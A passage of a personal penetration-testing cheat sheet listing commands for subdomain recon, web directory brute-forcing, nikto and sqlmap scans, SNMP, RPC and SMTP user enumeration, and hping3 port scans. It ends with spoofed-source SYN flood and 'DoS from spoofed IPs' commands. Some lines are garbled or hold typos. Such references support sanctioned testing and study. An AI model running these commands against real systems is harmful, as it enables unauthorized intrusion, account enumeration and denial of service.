  4825. spyse -target $Target --subdomains
  4826.  
  4827.  
  4828. Get Autonomous System details
  4829. echo "AS15169" | spysecli as
  4830.  
  4831. Get IPv4 host details
  4832. echo "8.8.8.8" | spysecli ip
  4833.  
  4834. Reverse IP lookup
  4835. echo "8.8.8.8" | spysecli reverse-ip
  4836.  
  4837. Reverse NS lookup
  4838. echo "ns1.google.com" | spysecli reverse-ns
  4839.  
  4840. Subdomains lookup
  4841. echo "tesla.com" | spysecli subdomains
  4842.  
  4843.  
  4844.  
  4845. curl -s https://crt.sh/?q=%25.$Target
  4846.  
  4847. Get historical DNS A records
  4848. echo "google.com" | spysecli history-dns-a
  4849.  
  4850. Get historical DNS NS records
  4851. echo "google.com" | spysecli history-dns-ns
  4852.  
  4853. https://censys.io/api
  4854.  
  4855.  
  4856.  
  4857. findomain -q -f /mainData/$File -r -u findomain_domains.txt
  4858.  
  4859.  
  4860. amass enum -df /mainData/$File -passive -o ammas_passive_domains.txt
  4861. subfinder -dL /mainData/$File -o subfinder_domains.txt
  4862.  
  4863.  
  4864. cat domains.txt | httprobe -c 50 -t 3000 >alive.txt
  4865.  
  4866. cat alive.txt | aquatone -silent --ports xlarge -out $Path/aquatone/ -scan-timeout 500 -screenshot-timeout 50000 -http-timeout 6000
  4867.  
  4868. dirsearch.py -E -t 50 --plain-text dirsearch/$dirsearch_file -u $host -w /tools/dirsearch/db/dicc.txt | grep Target
  4869.  
  4870.  
  4871. amass -active -brute -o $hosts.txt -d $Domain
  4872.  
  4873. cat hosts.txt | aquatone
  4874.  
  4875. cat scan.xml | aquatone -nmap
  4876.  
  4877.  
  4878.  
  4879.  
  4880.  
  4881. curl -fsSL https://api.mullvad.net/www/accounts/
  4882.  
  4883.  
  4884. Generate a new pair of keys via wg
  4885.  
  4886. wg genkey | tee privatekey | wg pubkey > publickey
  4887.  
  4888.  
  4889. Upload the newly generate key to Mullvad
  4890.  
  4891. curl https://api.mullvad.net/wg/ -d account=YOUR_ACCOUNT_NUMBER --data-urlencode pubkey=`cat publickey`
  4892.  
  4893.  
  4894.  
  4895.  
  4896. ##-=====================================-##ccc
  4897. ##      [+]  DShield  -  Internet Storm Center API
  4898. ##-=====================================-##
  4899. https://www.dshield.org/api/
  4900.  
  4901.  
  4902.  
  4903.  l. ccccccccccccccccccccccccccccccccccc
  4904.  
  4905.  
  4906. ## ---------------------------------------------------------- ##
  4907. ##   [+] Harvesting full 3rd lvl domains with sublist3r...
  4908. ## ---------------------------------------------------------- ##
  4909. for domain in $(cat $url/recon/3rd-lvl-domains.txt);do sublist3r -d $domain -o $url/recon/3rd-lvls/$domain.txt;done
  4910.  
  4911. ## ------------------------------------- ##
  4912. ##  [+] Probing for alive domains...
  4913. ## ------------------------------------- ##
  4914. cat $url/recon/final.txt | sort -u | httprobe -s -p https:443 | sed 's/https\?:\/\///' | tr -d ':443' >> $url/recon/httprobe/alive.txt
  4915.  
  4916.  
  4917.  
  4918. sublist3r -d $Domain
  4919.  
  4920. sublist3r -d $Domain --verbose --bruteforce
  4921.  
  4922. sublist3r -d $Target -vvv -o $Dir/domains-sublist3r-$Target.txt
  4923.  
  4924.  
  4925.  
  4926. subfinder -d $Domain
  4927.  
  4928. subfinder -d $Domain -t 100 -v
  4929.  
  4930.  
  4931. subfinder -o $Dir/domains-subfinder-$Target.txt -b -d $Target -w $Domains DEFAULT -t 100
  4932.  
  4933.  
  4934.  
  4935. subfinder -d $Domain | httpx -status-code
  4936.  
  4937.  
  4938. subfinder -d $Domain | httpx -title -tech-detect -status-code -title -follow-redirects
  4939.  
  4940.  
  4941.  
  4942.  
  4943. subjack -w $url/recon/httprobe/alive.txt -t 100 -timeout 30 -ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json -v 3
  4944.  
  4945.  
  4946.  
  4947. dnscan.py --domain $Domain --wordlist $File
  4948.  
  4949.  
  4950. dnscan -d $Target -w $Domains QUICK -o $Dir/domains-dnscan-$Target.txt
  4951.  
  4952.  
  4953.  
  4954.  
  4955. ## --------------------------------- ##
  4956. ##  [+] Scraping wayback data...
  4957. ## --------------------------------- ##
  4958. cat $url/recon/final.txt | waybackurls | tee -a  $url/recon/wayback/wayback_output1.txt
  4959.  
  4960.  
  4961.  
  4962. cat domains.txt | waybackurls > urls
  4963.  
  4964.  
  4965.  
  4966.  
  4967. inurlbr.php --dork "site:$Target" -s inurlbr-$Target
  4968.  
  4969.  
  4970.  
  4971.  
  4972. urlcrazy -k $Layout -i -o $Location $URL
  4973.  
  4974.  
  4975.  
  4976.  
  4977. EyeWitness --web -f $url/recon/httprobe/alive.txt -d $url/recon/eyewitness --resolve
  4978.  
  4979.  
  4980. ## ----------------------------------- ##
  4981. ###  [?] whatweb - Vulnerable Scan
  4982. ## ----------------------------------- ##
  4983. whatweb $IP
  4984.  
  4985.  
  4986.  
  4987. ##-======================================================-##
  4988. ##  [+] scan a website and show the results on screen:
  4989. ##-======================================================-##
  4990. golismero.py scan $Target
  4991.  
  4992.  
  4993. ##-=========================================================================-##
  4994. ##  [+] grab Nmap results, scan all hosts found and write an HTML report:
  4995. ##-=========================================================================-##
  4996. golismero.py scan -i $File.xml -o $File.html
  4997.  
  4998.  
  4999. ##-===================================================================================-##
  5000. ##  [+] grab results from OpenVAS and show them on screen, but dont scan anything:
  5001. ##-===================================================================================-##
  5002. golismero.py import -i $File.xml
  5003.  
  5004.  
  5005.  
  5006. golismero scan 10.0.0.0/24 172.16.0.0/24 $Target
  5007.  
  5008.  
  5009. ##-============================================================-##
  5010. ##  [+] show a list of all available configuration profiles:
  5011. ##-============================================================-##
  5012. golismero.py profiles
  5013.  
  5014.  
  5015. ##-=============================================-##
  5016. ##  [+] show a list of all available plugins:
  5017. ##-=============================================-##
  5018. golismero.py plugins
  5019.  
  5020.  
  5021. ##-=============================-##
  5022. ##  [+] Custom plugins setup:
  5023.  
  5024. golismero.py scan -e spider -e plecost -e dns* $Target
  5025.  
  5026.  
  5027. ##-===========================-##
  5028. ##  [+] Plugin parameters:
  5029. ##-===========================-##
  5030. golismero.py scan -a openvas:port=9182 -a openvas:user=tor $Target
  5031. golismero.py scan -a openvas:profile=“My new profile” $Target
  5032.  
  5033.  
  5034. ##-===============================-##
  5035. ##  [+] increasing debug level:
  5036. ##-===============================-##
  5037. golismero.py scan -nd -vv $Target
  5038.  
  5039.  
  5040. ##-===================================================-##
  5041. ##  [+] dump the database from a previous scan:
  5042. ##-===================================================-##
  5043. golismero.py dump -db $File.db -o $File.sql
  5044.  
  5045.  
  5046.  
  5047. nikto -h $IP -p 1234 $IP
  5048. nikto -C all -h 192.168.1.1 -p 80
  5049. nikto -C all -h 192.168.1.1 -p 443
  5050.  
  5051.  
  5052. nikto -h $IP -p $PORT
  5053.  
  5054.  
  5055.  
  5056. ## ---------------------------------------------------- ##
  5057. ##   [+] Proxy Enumeration (useful for open proxies)
  5058. ## ---------------------------------------------------- ##
  5059. nikto -useproxy http://$IP:3128 -h $IP
  5060.  
  5061.  
  5062.  
  5063. nikto -Option USERAGENT=Mozilla -url=http://10.11.1.24  -o nikto.txt
  5064.  
  5065. nikto -port 80,443 -host $ip -o -v nikto.txt
  5066.  
  5067. nikto -host $IP -C all -p 80 -output $File.txt | grep -v Cookie
  5068.  
  5069.  
  5070. nikto -h $Domain -port 443 -Format htm --output $Domain.htm
  5071.  
  5072.  
  5073.  
  5074.  
  5075. dotdotpwn.pl -m http -h $IP -M GET -o unix
  5076.  
  5077.  
  5078. ## ------------------------ ##
  5079. ##  [+] Url brute force
  5080. ## ------------------------ ##
  5081. dirb http://$IP -r -o dirb-$IP.txt
  5082.  
  5083. dirb http://"$1"/ | tee /tmp/results/$1/$1-dirb-$port.txt
  5084.  
  5085. dirb http://10.0.0.165/ /usr/share/wordlist/dirb/big.txt
  5086.  
  5087. list-urls.py $Domain
  5088.  
  5089.  
  5090.  
  5091. ## ------------------------- ##
  5092. ##  [+] Directory Fuzzing
  5093. ## ------------------------- ##
  5094. dirb $Domain /usr/share/wordlists/dirb/big.txt -o $File.txt
  5095. gobuster -u $Domain -w /usr/share/wordlists/dirb/big.txt -t 100
  5096.  
  5097.  
  5098. ## ----------------------------------------------- ##
  5099. ##  [?] A for loop so you can go do other stuff
  5100. ## ----------------------------------------------- ##
  5101. for wordlist in $(ls);do gobuster -u $Domain -w $File -t 100;done
  5102.  
  5103.  
  5104. gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
  5105. gobuster -u http://$IP/  -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
  5106. gobuster -u http://$IP/ -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s '200,204,403,500' -e
  5107. gobuster dir -u https://10.11.1.35 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 50 -k -o gobuster
  5108.  
  5109.  
  5110.  
  5111.  
  5112.     gobuster -u http://10.0.0.165/
  5113.     -w /usr/share/wordlist/dirb/big.txt
  5114.     -s '200,204,301,302,307,403,500'
  5115.     -e
  5116.  
  5117.  
  5118.  
  5119.  
  5120. dirsearch -u http://$IP/ -e .php
  5121.  
  5122.  
  5123.  
  5124.  
  5125. whatweb -v $domain > data/$File_/analysis/dynamic/domain_info.txt
  5126.  
  5127.  
  5128. ## --------------------------------------- ##
  5129. ##   [?] identifies all known services
  5130. ## --------------------------------------- ##
  5131. whatweb $IP
  5132.  
  5133. whatweb $ip:80 --color=never --log-brief="whattheweb.txt"
  5134.  
  5135.  
  5136. ##-======================================-##
  5137. ##  [+] whatweb - Pulling plugins data
  5138. ##-======================================-##
  5139. whatweb --info-plugins -t 50 -v $Domain >> $File.txt
  5140.  
  5141.  
  5142. ##-=============================================-##
  5143. ##  [+] whatweb - Running whatweb on $Domain
  5144. ##-=============================================-##
  5145. whatweb -t 50 -v $Domain >> $File.txt
  5146.  
  5147.  
  5148.  
  5149. dirsearch -u $Domain -e php
  5150.  
  5151.  
  5152.  
  5153.  
  5154.  
  5155.  HTTP Enumeration
  5156.  
  5157. dirsearch big.txt -e sh,txt,htm,php,cgi,html,pl,bak,old
  5158.  
  5159.  
  5160.  
  5161.  
  5162. wfuzz -c -z $File.txt --sc 200 http://$IP
  5163.  
  5164.  
  5165.  
  5166.  
  5167. ##-===========================-##
  5168. ##  [+] Skipfish Scanning:
  5169. ##-===========================-##
  5170. ## ---------------------------------------------- ##
  5171. ##  skipfish -m     time threads
  5172. ##  skipfish -LVY   do not update after result
  5173. ## ---------------------------------------------- ##
  5174. skipfish -m 5 -LVY -W /usr/share/skipfish/dictionaries/complete.wl -u http://$IP
  5175.  
  5176.  
  5177.  
  5178.  
  5179. ## --------------------------- ##
  5180. ##   [?] follow redirects
  5181. ##   [?] set user-agent
  5182. ##   [?] set method - GET
  5183. ## --------------------------- ##
  5184. curl -Iks --location -X GET -A "x-agent" $Domain
  5185.  
  5186.  
  5187. ## --------------------------------- ##
  5188. ##   [?] Use Proxy for connection
  5189. ## --------------------------------- ##
  5190. curl -Iks --location -X GET -A "x-agent" --proxy http://127.0.0.1:4444 $Domain
  5191. curl -Iks --location -X GET -A "x-agent" --proxy socks5://127.0.0.1:9050 $Domain
  5192. curl -Iks --location -X GET -A "x-agent" --proxy socks5://127.0.0.1:1080 $Domain
  5193.  
  5194.  
  5195.  
  5196.  
  5197.  
  5198.  
  5199.  
  5200.  
  5201.  
  5202. ##
  5203. grep "href=" index.html
  5204.  
  5205.  
  5206. ##  extract domain names from the file
  5207. grep "href=" index.html | cut -d "/" -f 3
  5208.  
  5209.  
  5210. ##
  5211. grep "href=" index.html | cut -d "/" -‐f 3 | grep "\."
  5212.  
  5213.  
  5214. ##
  5215. grep "href=" index.html |cut ­‐d "/" ­‐f 3 | grep "\." | cut ­‐d '"' ‐f 1
  5216.  
  5217.  
  5218. ##
  5219. grep "href=" index.html | cut ­‐d  "/" ‐f  3 | grep "\." | cut ‐d '"' ­‐f 1 | sort ‐u
  5220.  
  5221.  
  5222.  
  5223.  
  5224.  
  5225.  
  5226.  
  5227. ##
  5228. for url in $(cat list.txt); do host $url; done
  5229.  
  5230.  
  5231. ##
  5232. for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u
  5233.  
  5234.  
  5235. ## refine the output - sort the data by the number of times
  5236. ## each IP address accessed the server.
  5237. cat access.log | cut -­‐d " " ­‐f 1 | sort | uniq -‐c | sort -­urn
  5238.  
  5239.  
  5240.  
  5241.  
  5242.  
  5243.  
  5244.  
  5245.  
  5246.  
  5247. ##-=====================================-##
  5248. ##  [+] Check for title and all links
  5249. ##-=====================================-##
  5250. curl $IP -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
  5251.  
  5252.  
  5253. ##-===================================================-##
  5254. ##  [+] Extract all the lines that contain a string
  5255. ##-===================================================-##
  5256. grep "href=" index.html
  5257.  
  5258.  
  5259. ##-==============================================================-##
  5260. ##  [+] Cut a string by a delimiter, filter results then sort
  5261. ##-==============================================================-##
  5262. grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
  5263.  
  5264.  
  5265. ##-====================================-##
  5266. ##  [+] Grep regex output to a file
  5267. ##-====================================-##
  5268. cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > $OutFile.txt
  5269.  
  5270.  
  5271.  
  5272.  
  5273.  
  5274.  
  5275.  
  5276.  
  5277. ##-===============================================-##
  5278. ##   [+] NFS (Network File System) Enumeration
  5279. ##-===============================================-##
  5280.  
  5281.  
  5282. ##-=================================-##
  5283. ##  [+] Show Mountable NFS Shares
  5284. ##-=================================-##
  5285. nmap -sV --script=nfs-showmount $IP
  5286.  
  5287.  
  5288. ##-===============================================-##
  5289. ##  [+] RPC (Remote Procedure Call) Enumeration
  5290. ##-===============================================-##
  5291.  
  5292.  
  5293. ##-================================-##
  5294. ##  [+] Connect to an RPC share
  5295. ##-================================-##
  5296.  
  5297. ## ----------------------------------------------------------------- ##
  5298. ##   [?] without a username and password and enumerate privledges
  5299. ## ----------------------------------------------------------------- ##
  5300. rpcclient --user="" --command=enumprivs -N $IP
  5301.  
  5302.  
  5303. ## ----------------------------------------------------------------------- ##
  5304. ##  [+] Connect to an RPC share with a username and enumerate privledges
  5305. ## ----------------------------------------------------------------------- ##
  5306. rpcclient --user="$User" --command=enumprivs $IP
  5307.  
  5308.  
  5309.  
  5310.  
  5311.  
  5312. enum4linux $IP
  5313.  
  5314. enum4linux $IP | grep "user:" |cut -d "[" -f2 | cut -d "]" -f1
  5315.  
  5316.  
  5317.  
  5318.  
  5319.  
  5320. httsquash -r $Domain
  5321.  
  5322. httprint -h $Domain -s signatures.txt -P0
  5323.  
  5324.  
  5325.  
  5326.  
  5327.  
  5328.  
  5329.  
  5330. snmpcheck -t $IP -c public
  5331.  
  5332. snmpenum -t $IP
  5333.  
  5334.  
  5335. ##-============================-##
  5336. ##  [+] SNMPv3 Enumeration
  5337. ##-============================-##
  5338. nmap -sV -p 161 --script=snmp-info $IP/24
  5339.  
  5340.  
  5341. ## ---------------------------------------------------------- ##
  5342. ## [+]  Enumerate MIB:
  5343. ## ---------------------------------------------------------- ##
  5344. ## [•]  1.3.6.1.2.1.25.1.6.0      ## System Processes
  5345. ## [•]  1.3.6.1.2.1.25.4.2.1.2        ## Running Programs
  5346. ## [•]  1.3.6.1.2.1.25.4.2.1.4        ## Processes Path
  5347. ## [•]  1.3.6.1.2.1.25.2.3.1.4        ## Storage Units
  5348. ## [•]  1.3.6.1.2.1.25.6.3.1.2        ## Software Name
  5349. ## [•]  1.3.6.1.4.1.77.1.2.25     ## User Accounts
  5350. ## [•]  1.3.6.1.2.1.6.13.1.3      ## TCP Local Ports
  5351.  
  5352.  
  5353.  
  5354. snmpwalk -c public -v1 $IP 1
  5355.  
  5356. Snmpwalk -c <community string> -v<version> $IP 1.3.6.1.2.1.25.4.2.1.2
  5357.  
  5358. onesixtyone -c names -i hosts
  5359.  
  5360. onesixtyone -d $IP
  5361.  
  5362.  
  5363.  
  5364. nmap -sU --open -p 161 $1
  5365. nmap -n -Pn -sV $IP -p $IP --script=snmp-netstat,snmp-processes -oN $OUTPUT/$IP:$PORT_snmp.nmap
  5366. onesixtyone -c public $IP | tee $OUTPUT/161_$IP-$PORT
  5367. onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt -dd $1 2>&1 | tee "snmp_onesixtyone_$1.txt"
  5368.  
  5369.  
  5370. snmpwalk -c public -v1 $IP | tee $OUTPUT/snmpwalk_$IP-$PORT
  5371. snmpwalk -c public -v1 $IP 1.3.6.1.4.1.77.1.2.25 | tee $OUTPUT/snmp_users_$IP-$PORT
  5372. snmpwalk -c public -v1 $IP 1.3.6.1.2.1.6.13.1.3 | tee $OUTPUT/snmp_ports_$IP-$PORT
  5373. snmpwalk -c public -v1 $IP 1.3.6.1.2.1.25.4.2.1.2 | tee $OUTPUT/snmp_process_$IP-$PORT
  5374. snmpwalk -c public -v1 $IP 1.3.6.1.2.1.25.6.3.1.2 | tee $OUTPUT/snmp_software_$IP-$PORT
  5375.  
  5376.  
  5377. snmpwalk -c public -v 1 $1 2>&1 | tee "snmpwalk.txt"
  5378. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.25.1.6.0 2>&1 | tee "snmpwalk_system_processes.txt"
  5379. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.25.4.2.1.2 2>&1 | tee "snmpwalk_running_processes.txt"
  5380. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.25.4.2.1.4 2>&1 | tee "snmpwalk_process_paths.txt"
  5381. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.25.2.3.1.4 2>&1 | tee "snmpwalk_storage_units.txt"
  5382. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.25.6.3.1.2 2>&1 | tee "snmpwalk_software_names.txt"
  5383. snmpwalk -c public -v 1 $1 1.3.6.1.4.1.77.1.2.25 2>&1 | tee "snmpwalk_user_accounts.txt"
  5384. snmpwalk -c public -v 1 $1 1.3.6.1.2.1.6.13.1.3 2>&1 | tee "snmpwalk_tcp_ports.txt"
  5385.  
  5386.  
  5387.  
  5388.  
  5389.  
  5390. ##-===========================================================-##
  5391. ##  [+] SnmpWalk - start browsing through the
  5392. ##                 MIB (management information base) tree.
  5393. ##-===========================================================-##
  5394. snmpwalk -c public -v1 $IP
  5395.  
  5396.  
  5397. ##-======================================================================-##
  5398. ##  [+] extract only system users use this value 1.3.6.1.4.1.77.1.2.25,
  5399. ##-======================================================================-##
  5400. snmpwalk -c public -v1 $IP <MIB value>
  5401.  
  5402. snmpwalk public -v1 $IP 1 |grep 77.1.2.25 |cut -d” “ -f4
  5403.  
  5404.  
  5405. ## --------------------------------- ##
  5406. ##  [+] Enumerating Windows Users:
  5407. ## --------------------------------- ##
  5408. snmpwalk -c public -v1 $IP 1.3 |grep 77.1.2.25 |cut -d" " -f4
  5409.  
  5410.  
  5411. ## ------------------------------------- ##
  5412. ##  [+] Enumerating Running Services
  5413. ## ------------------------------------- ##
  5414. snmpwalk -c public -v1 $IP 1 |grep hrSWRunName|cut -d" " -f4
  5415.  
  5416.  
  5417. ## -------------------------------------- ##
  5418. ##  [+] Enumerating installed software
  5419. ## -------------------------------------- ##
  5420. snmpwalk -c public -v1 $IP 1 |grep hrSWInstalledName
  5421.  
  5422.  
  5423. ## ----------------------------------- ##
  5424. ##  [+] Enumerating open TCP ports
  5425. ## ----------------------------------- ##
  5426. snmpwalk -c public -v1 $IP 1 |grep tcpConnState |cut -d"." -f6 |sort -nu
  5427.  
  5428.  
  5429.  
  5430. snmpbulkwalk -v 2 -c public IP
  5431.  
  5432.  
  5433.  
  5434. snmpget -v 1 -c public IP version
  5435.  
  5436.  
  5437.  
  5438. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Pastebin]/OPEXXX/snmp-process-sniper.sh
  5439. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/OSINT/Reconnoitre/Reconnoitre/lib/snmp_walk.py
  5440. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/PenTestKit/snmp
  5441. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/PenTestKit/snmp/community.lst
  5442. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/PenTestKit/snmp/discover.sh
  5443. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/PenTestKit/snmp/scan.sh
  5444. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/PenTestKit/snmp/walk.sh
  5445. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/STIG-4-Debian/scripts/check-snmp.sh
  5446. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Scripts]/lynis/include/tests_snmp
  5447. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Wiki]/Kali-learning-notes.wiki/snmp.md
  5448. /home/parrotsec-kiosk/Downloads/Xe1phix-ParrotSec-Kiosk-Project-GitLab-Production-Development-[Archiving-Workstation]/Xe1phix-[Wiki]/cheatsheets/snmpwalk
  5449.  
  5450.  
  5451.  
  5452.  
  5453.  
  5454.  
  5455. #++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  5456.     #SSL Implementation (testssl)
  5457.     #++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
  5458.     echo -e "\n===================\nTestssl Log:\n===================\n" >> data/$File_/analysis/dynamic/ssl_scan/logs/testssl.log
  5459.     echo `date` >> data/$File_/analysis/dynamic/ssl_scan/logs/testssl.log
  5460.     echo -e "   ${no_color}[-] ${brown}Scanning ${blue}$domain ${brown}${no_color}" >> data/$File_/analysis/dynamic/ssl_scan/logs/testssl.log
  5461.     cd tools/testssl.sh/
  5462. testssl.sh -U -R -I -E -H -S -P -e -p -f -4  --sneaky --logfile ../../data/$File_/analysis/dynamic/ssl_scan/ssl_detailed.txt $domain | aha > ../../data/$File_/analysis/dynamic/ssl_scan/ssl_detailed.html
  5463. testssl.sh -U -R -I -E -H -S -P -e -p -f -4  --sneaky --logfile ../../data/domain_scans/$dump/ssl_detailed.txt $domain
  5464.  
  5465.  
  5466.     echo -e "   ${no_color}[-] ${brown}Domain scanning completed ${no_color}" >> ../../data/$File_/analysis/dynamic/ssl_scan/logs/testssl.log
  5467.  
  5468.  
  5469.  
  5470. testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $IP
  5471.  
  5472.  
  5473.  
  5474.  
  5475.  
  5476. ##-============================================-##
  5477. ##  [+] Get Options available from web server
  5478. ##-============================================-##
  5479. curl -vX OPTIONS $Domain
  5480.  
  5481.  
  5482. ##-=====================================-##
  5483. ##  [+] Check for title and all links
  5484. ##-=====================================-##
  5485. curl $domain -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
  5486.  
  5487.  
  5488. ##-=============================-##
  5489. ##  [+]
  5490. ##-=============================-##
  5491. fimap -u "http://INSERTIPADDRESS/example.php?test="
  5492.  
  5493.  
  5494. ##-=============================-##
  5495. ##  [+]
  5496. ##-=============================-##
  5497. smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $IP
  5498. >use auxiliary/scanner/smtp/smtp_enum
  5499.  
  5500. VRFY root
  5501. EXPN root
  5502.  
  5503. ##-=============================-##
  5504. ##  [+]
  5505. ##-=============================-##
  5506. nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
  5507.  
  5508.  
  5509. ##-=============================-##
  5510. ##  [+]
  5511. ##-=============================-##
  5512. smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t $IP -p $PORT
  5513.  
  5514.  
  5515.  
  5516.  
  5517. # Get a MySQL DB dump from a remote machine
  5518. ssh user@host "mysqldump -h localhost -u mysqluser -pP@$$W3rD databasename | gzip -cf" | gunzip -c > database.sql
  5519.  
  5520.  
  5521.  
  5522. # Export MySQL query as .csv file
  5523. echo "SELECT * FROM table; " | mysql -u root -p${MYSQLROOTPW} databasename | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > outfile.csv
  5524.  
  5525.  
  5526.  
  5527.  
  5528.  
  5529. ##-===============-##
  5530. ##   [+] Post
  5531. ##-===============-##
  5532. sqlmap -r $File.txt -p tfUPass
  5533.  
  5534.  
  5535. ##-===============-##
  5536. ##   [+] Get
  5537. ##-===============-##
  5538. sqlmap -u "http://$IP/index.php?id=1" --dbms=mysql
  5539.  
  5540.  
  5541. ##-===============-##
  5542. ##   [+] Crawl
  5543. ##-===============-##
  5544. sqlmap -u http://$IP --dbms=mysql --crawl=3
  5545.  
  5546.  
  5547. ##-===============-##
  5548. ##   [+]
  5549. ##-===============-##
  5550. sslscan $domain:443
  5551.  
  5552.  
  5553.  
  5554.  
  5555.  
  5556. ##-=============================-##
  5557. ##  [+] ICMP Ping
  5558. ##-=============================-##
  5559. hping3 -1 $IP
  5560.  
  5561.  
  5562. ##-=============================-##
  5563. ##  [+] ACK Scan on port 80
  5564. ##-=============================-##
  5565. hping3 -A $IP -p 80
  5566.  
  5567.  
  5568. ##-=============================-##
  5569. ##  [+] UDP Scan on port 80
  5570. ##-=============================-##
  5571. hping3 -2 $IP p 80
  5572.  
  5573.  
  5574. ##-=============================-##
  5575. ##  [+] SYN Scan on port 50-60
  5576. ##-=============================-##
  5577. hping3 -8 50-60 -s $IP -v
  5578.  
  5579.  
  5580. ##-=============================-##
  5581. ##  [+] FIN PUSH URG Scan
  5582. ##-=============================-##
  5583. hping3 -F -p -U $IP -p 80
  5584.  
  5585.  
  5586. ##-=============================-##
  5587. ##  [+] Scan Entire Subnet
  5588. ##-=============================-##
  5589. hping3 -1 10.0.1.x --rand-dest -I eth0
  5590.  
  5591.  
  5592. ##-=======================================================-##
  5593. ##  [+] Intercept All Traffic Containing HTTP Signature:
  5594. ##-=======================================================-##
  5595. hping3 -9 HTTP -I eth0
  5596.  
  5597.  
  5598. ##-=======================================-##
  5599. ##  [+] Collect Initial Sequence Number:
  5600. ##-=======================================-##
  5601. hping3 $IP -Q -p 139 -s
  5602.  
  5603.  
  5604.  
  5605.  
  5606.  
  5607. ##-=============================-##
  5608. ##  [+]
  5609. ##-=============================-##
  5610. hping3 -S -p 53 $IP
  5611.  
  5612.  
  5613. ##-=============================-##
  5614. ##  [+]
  5615. ##-=============================-##
  5616. hping3 --udp -p 500 $IP
  5617. hping3 --udp -p 123 $IP
  5618.  
  5619.  
  5620.  
  5621. ##-=============================-##
  5622. ##  [+]
  5623. ##-=============================-##
  5624. hping3 -V -p 80 -s 5050 <scan_type> $Domain
  5625.  
  5626.  
  5627.   * `-V|--verbose` - verbose mode
  5628.   * `-p|--destport` - set destination port
  5629.   * `-s|--baseport` - set source port
  5630.   * `<scan_type>` - set scan type
  5631.     * `-F|--fin` - set FIN flag, port open if no reply
  5632.     * `-S|--syn` - set SYN flag
  5633.     * `-P|--push` - set PUSH flag
  5634.     * `-A|--ack` - set ACK flag (use when ping is blocked, RST response back if the port is open)
  5635.     * `-U|--urg` - set URG flag
  5636.     * `-Y|--ymas` - set Y unused flag (0x80 - nullscan), port open if no reply
  5637.     * `-M 0 -UPF` - set TCP sequence number and scan type (URG+PUSH+FIN), port open if no reply
  5638.  
  5639.  
  5640.  
  5641. ##-=============================-##
  5642. ##  [+]
  5643. ##-=============================-##
  5644. hping3 -V -c 1 -1 -C 8 $Domain
  5645.  
  5646.  
  5647.   * `-c [num]` - packet count
  5648.   * `-1` - set ICMP mode
  5649.   * `-C|--icmptype [icmp-num]` - set icmp type (default icmp-echo = 8)
  5650.  
  5651.  
  5652.  
  5653. ##-=============================-##
  5654. ##  [+]
  5655. ##-=============================-##
  5656. hping3 -V -c 1000000 -d 120 -S -w 64 -p 80 --flood --rand-source <remote_host>
  5657.  
  5658.  
  5659.  
  5660.  
  5661.  
  5662. ##-======================-##
  5663. ##   [+] HPING3 Scans
  5664. ##-======================-##
  5665. hping3 -c 3 -s 53 -p 80 -S 192.168.0.1
  5666.  
  5667. ## Open = flags = SA
  5668. ## Closed = Flags = RA
  5669. ## Blocked = ICMP unreachable
  5670. ## Dropped = No response
  5671.  
  5672.  
  5673.  
  5674. ## takes a text file called udp.txt and sends probes to each UDP port number listed in that file
  5675.  
  5676. for port in `cat udp.txt`; do echo TESTING UDP PORT: $port; hping3 -2 -p $port -c 1 $IP; done
  5677.  
  5678.  
  5679.  
  5680. DoS from spoofed IPs:
  5681.  
  5682. hping3 $TargetIP --flood --frag --spoof $ip --destport # --syn
  5683.  
  5684.  
  5685.  
  5686.  
